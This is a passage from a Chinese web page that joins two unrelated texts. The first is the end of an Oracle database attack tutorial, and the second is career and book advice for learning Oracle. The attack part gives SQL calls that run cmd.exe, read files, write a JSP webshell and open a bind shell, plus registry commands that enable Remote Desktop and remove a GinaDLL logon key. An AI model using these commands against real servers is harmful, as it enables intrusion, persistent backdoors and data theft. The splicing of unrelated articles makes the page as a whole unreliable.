Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;这么一大段,仔细看
执行完后
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:WINDOWSsystem32cmd.exe /c dir c:','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去
其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦
第四部分 技巧
一句话读取3389端口
exec :x:=run_cmz('REG query HKLMSYSTEMCurrentControlSetControlTerminal“ ”ServerWinStationsRDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3
exec :x:=run_cmz('REG ADD HKLMSYSTEMCurrentControlSetControlTerminal“ ”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终端登陆错误
exec :x:=run_cmz('reg delete “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon” /v GinaDLL /f');感谢kj,和linx的文章.
最后说下,关于web injection部分
有时间在整理吧
不妥之处,请指教 QQ:1972097
篇11:Oracle深入学习
管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等,
开发:对于想做Oracle开发的.,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分,
PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。 Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。
介绍几本oracle入门的好书
oracle官方文档:《concept》上面讲了oracle的体系和概念,很适合初学者看。
OCP的教学用书,也就是STUDY GUIDE(SG)。
Oracle8i 备份恢复手册
Oracle8高级管理与优化
Oracle8i PLSQL程序设计
Oracle8数据库管理员手册
【oracle 笔试】相关文章:
9.笔试题目
10.笔试注意事项






文档为doc格式